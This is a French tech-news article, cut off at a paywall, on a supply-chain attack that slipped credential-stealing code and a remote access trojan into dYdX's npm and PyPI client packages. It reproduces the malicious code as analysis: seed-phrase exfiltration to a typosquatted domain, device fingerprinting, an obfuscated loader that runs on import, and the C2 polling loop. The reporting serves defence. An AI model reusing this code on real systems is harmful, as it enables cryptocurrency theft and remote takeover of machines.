IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants de portefeuille des développeurs et des systèmes backend de dYdX

Le , par Alex

2.5KPARTAGES

6  0 
Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI.

npm est un gestionnaire de paquets pour le langage de programmation JavaScript maintenu par npm, Inc., une filiale de GitHub. npm est le gestionnaire de paquets par défaut pour l'environnement d'exécution JavaScript Node.js et est inclus comme fonctionnalité recommandée dans le programme d'installation de Node.js. Il se compose d'un client en ligne de commande, également appelé npm, et d'une base de données en ligne de paquets publics et privés payants, appelée le registre npm. Le registre est accessible via le client, et les paquets disponibles peuvent être consultés et recherchés via le site web npm. Le gestionnaire de paquets et le registre sont gérés par npm, Inc.

Le Python Package Index, abrégé PyPI et également connu sous le nom de Cheese Shop,  est le référentiel officiel de logiciels tiers pour Python. Il est analogue au référentiel CPAN pour Perl  et au référentiel CRAN pour R. PyPI est géré par la Python Software Foundation, une organisation caritative. Certains gestionnaires de paquets, dont pip, utilisent PyPI comme source par défaut pour les paquets et leurs dépendances. PyPI héberge principalement des paquets Python sous forme d'archives sources, appelées « sdists », ou de « wheels » qui peuvent contenir des modules binaires provenant d'un langage compilé.

Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI. Le protocole dYdX est une bourse décentralisée pour le trading de dérivés de cryptomonnaies. Les paquets @dydxprotocol/v4-client-js (npm) et dydx-v4-client (PyPI) fournissent aux développeurs des outils pour interagir avec le protocole dYdX v4, notamment la signature de transactions, le placement d'ordres et la gestion de portefeuilles. Les applications utilisant ces paquets gèrent des opérations sensibles liées aux cryptomonnaies.

Les versions compromises ont affecté à la fois les écosystèmes JavaScript et Python avec différentes charges utiles, ciblant les deux langages les plus courants pour l'automatisation du trading et le développement de la finance quantitative.

npm : voleur de portefeuille de cryptomonnaies qui exfiltre les phrases de départ et les empreintes digitales des appareils.

PyPI : voleur de portefeuille et cheval de Troie d'accès à distance (RAT) permettant l'exécution de code arbitraire.

Versions compromises :

npm (@dydxprotocol/v4-client-js) :

- 3.4.1
- 1.22.1
- 1.15.2
- 1.0.31

PyPI (dydx-v4-client) :

- 1.1.5post1


L'attaque semble correspondre à une compromission de compte développeur, bien que cela n'ait pas été confirmé. Plusieurs versions malveillantes ont été publiées simultanément sur les deux écosystèmes à l'aide d'identifiants de publication légitimes, le logiciel malveillant étant intégré profondément dans les structures authentiques des paquets plutôt que ajouté en tant que dépendances externes. L'auteur de la menace a démontré une connaissance approfondie du fonctionnement interne des paquets, insérant du code malveillant dans les fichiers de registre principaux (registry.ts, registry.js, account.py) qui s'exécuterait lors de l'utilisation normale des paquets. L'obfuscation à 100 itérations dans la version PyPI et le déploiement coordonné entre les écosystèmes suggèrent que l'auteur de la menace avait un accès direct à l'infrastructure de publication plutôt que d'exploiter une vulnérabilité technique dans les registres eux-mêmes.

Cette attaque n'est pas un événement isolé. Au cours des dernières années, les auteurs de menaces ont pris pour cible à plusieurs reprises l'infrastructure et les paquets liés à dYdX par le biais de différents vecteurs d'attaque, notamment la compromission de la chaîne d'approvisionnement et les attaques au niveau du domaine.

Package npm : vol d'identifiants

Le package npm intègre une fonction malveillante createRegistry() dans registry.ts, registry.js[/] et un autre fichier [c]registry.js identique situé dans un autre chemin d'accès. Lorsque les développeurs intègrent ce package et transmettent la phrase de départ d'un utilisateur à createRegistry(), la fonction l'exfiltre avec l'empreinte digitale de l'appareil. Voici un extrait de code accompagnés de commentaires pour plus de clarté.

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
export async function createRegistry(phrase: string) {
  try {
    const uid = getDeviceUuid();
    await fetch("https://dydx[.]priceoracle[.]site/v4/price", {
      method: "POST",
      body: JSON.stringify({
        phrase,              // Victim's seed phrase
        "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
        uid                  // Device fingerprint
      })
    })
  } catch { }
}
Le bloc catch vide masque les erreurs réseau, empêchant ainsi l'affichage d'avertissements dans la console pendant les tests. Le domaine d'exfiltration dydx[.]priceoracle[.]site imite le service légitime dYdX à l'adresse dydx[.]xyz par le biais du typosquatting.

Empreinte digitale de l'appareil

Le logiciel malveillant génère un identifiant unique à partir des informations système :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getDeviceUuid() {
  try {
    const parts = [];
    parts.push(getMacLikeUuidNode());      // MAC address
    parts.push(os.hostname());              // Hostname
    parts.push(os.platform());              // OS platform
    parts.push(os.release());               // OS version
    parts.push(os.arch());                  // Architecture
    parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim());
    parts.push(process.env.HOSTNAME || "");
    parts.push(process.env.COMPUTERNAME || "");
 
    const fingerprint = parts.join("|");
    const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest();
    const b = Buffer.from(digest.subarray(0, 16));
    b[6] = (b[6] & 0x0f) | 0x40;
    b[8] = (b[8] & 0x3f) | 0x80;
    return formatUuidFromBytes(b);
  } catch {
    return "00000000-0000-0000-0000-000000000000"
  }
}


L'empreinte digitale permet à l'auteur de la menace de corréler les identifiants volés à des machines spécifiques et de suivre les victimes à travers plusieurs compromissions.

Package PyPI : vol d'identifiants + cheval de Troie d'accès à distance

Le package PyPI comprend le même mécanisme de vol d'identifiants, ainsi qu'un cheval de Troie d'accès à distance supplémentaire caché dans une charge utile cryptée. Le RAT permet l'exécution de code arbitraire sur les systèmes des victimes.

Vol d'identifiants

Le package PyPI intègre le vol d'identifiants dans account.py sous la forme d'une fonction nommée list_prices(). La fonction prétend interroger les prix de négociation, mais exfiltre les phrases de départ :

Code Python : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def list_prices(self, phrase: str) -> Any:
    """
    Query for prices for trading.
    Args:
        phrase (str): The account phrase
    Returns:
        Any: The aggregated list of price.
    """
    # Device fingerprinting (same logic as npm version)
    parts = []
    parts.append(str(uuid.getnode()))          # MAC address
    parts.append(socket.gethostname())
    parts.append(platform.system())
    parts.append(platform.release())
    parts.append(platform.machine())
    if os.path.exists("/etc/machine-id"):
        parts.append(open("/etc/machine-id").read().strip())
    parts.append(os.getenv("HOSTNAME", ""))
    parts.append(os.getenv("COMPUTERNAME", ""))
 
    fingerprint = "|".join(parts)
    digest = hashlib.sha256(fingerprint.encode()).hexdigest()
    b = bytearray.fromhex(digest[:32])
    b[6] = (b[6] & 0x0F) | 0x40
    b[8] = (b[8] & 0x3F) | 0x80
    uid = str(uuid.UUID(bytes=bytes(b)))
 
    r = requests.post(
        self.host + "/v4/price",
        json={
            "phrase": phrase,
            "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
            "uid": uid
        },
        timeout=20
    )
    r.raise_for_status()
    return r.text


La logique d'empreinte digitale de l'appareil reflète l'implémentation npm avec des ajustements mineurs pour la bibliothèque standard de Python.

Charge utile du cheval de Troie d'accès à distance

Le paquet PyPI comprend trois fichiers supplémentaires qui ne sont pas présents dans la version npm :

- config.py : contient la charge utile cryptée du cheval de Troie d'accès à distance dans une variable nommée GENSIS_BLOCKS.

- _bootstrap.py : exécute automatiquement la charge utile lorsque le paquet est importé.

- RAT désobfusqué : contacte le serveur C2 pour l'exécution de code arbitraire.

Obfuscation de la charge utile

La variable GENSIS_BLOCKS contient un blob de 5 527 caractères encodé en base64. Le fichier _bootstrap.py le désobfusque à l'aide de 100 itérations de : chaîne inversée → décodage base64 → décompression zlib (wbits=47).

Code Python : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64 as b, gzip as g, zlib as z
from functools import reduce
from .config import GENSIS_BLOCKS
 
_initialized = False
 
def D(s):
    """Single deobfuscation pass"""
    try:
        return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace")
    except:
        raise
 
def init():
    global _initialized
    if _initialized:
        return
    _initialized = True
 
    # Apply 100 deobfuscation iterations
    dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s)
    ns = {}
    exec(dz(GENSIS_BLOCKS, 100), ns)  # Execute deobfuscated payload


La fonction init() s'exécute automatiquement lors de la première importation, exécutant le RAT silencieusement en arrière-plan.

Fonctionnalité du RAT

La charge utile désobfusquée révèle un cheval de Troie d'accès à distance qui contacte https://dydx[.]priceoracle[.]site/py pour recevoir des commandes :

Code Python : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def main() -> None:
    payload_data = {
        "uid": str(uuid.uuid4())
    }
    file_data = {"file": {"name": "t.py"}}
    payload_data["data"] = json.dumps(file_data)
 
    while True:
        response = send_post_request(
            f"https://dydx[.]priceoracle[.]site/py",
            payload_data
        )
        if response != "":
            run_script_async(response)  # Execute code from server
            time.sleep(5)
            break
        else:
            time.sleep(10)
 
# Start RAT in background daemon thread
t = threading.Thread(target=main, daemon=True, name="async-main-runner")
t.start()


Le RAT :

- S'exécute en tant que thread démon en arrière-plan
- Envoie des signaux au serveur C2 toutes les 10 secondes
- Reçoit le code Python du serveur
- L'exécute dans un sous-processus isolé sans sortie visible
- Utilise un jeton d'autorisation codé en dur : 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75.

Code Python : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str:
    req = urllib.request.Request(
        url=server_url,
        data=json.dumps(payload_data).encode("utf-8"),
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75"
        },
        method="POST",
    )
    # ... executes with disabled SSL verification


La fonction run_script_async() crée des fichiers temporaires contenant le code reçu, les exécute avec toutes les redirections stdio vers /dev/null, puis supprime les fichiers. Sous Windows, elle utilise le drapeau CREATE_NO_WINDOW pour masquer entièrement le processus.

Impact

Toutes les applications utilisant les versions npm compromises sont à risque si createRegistry() reçoit une phrase de départ. L'impact direct comprend la compromission complète du portefeuille et le vol irréversible de cryptomonnaies. La portée de l'attaque comprend toutes les applications dépendant des versions compromises, ainsi que les développeurs effectuant des tests avec des identifiants réels et les utilisateurs finaux en production.

Les utilisateurs de PyPI sont confrontés à une compromission complète du système, au-delà du vol de portefeuille. Le RAT permet à l'acteur malveillant de :

- Exécuter du code Python arbitraire avec les privilèges de l'utilisateur.
- Voler des clés SSH, des identifiants API et du code source.
- Installer des portes dérobées persistantes.
- Exfiltrer des fichiers sensibles.
- Surveiller l'activité des utilisateurs
-...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.

Une erreur dans cette actualité ? Signalez-nous-la !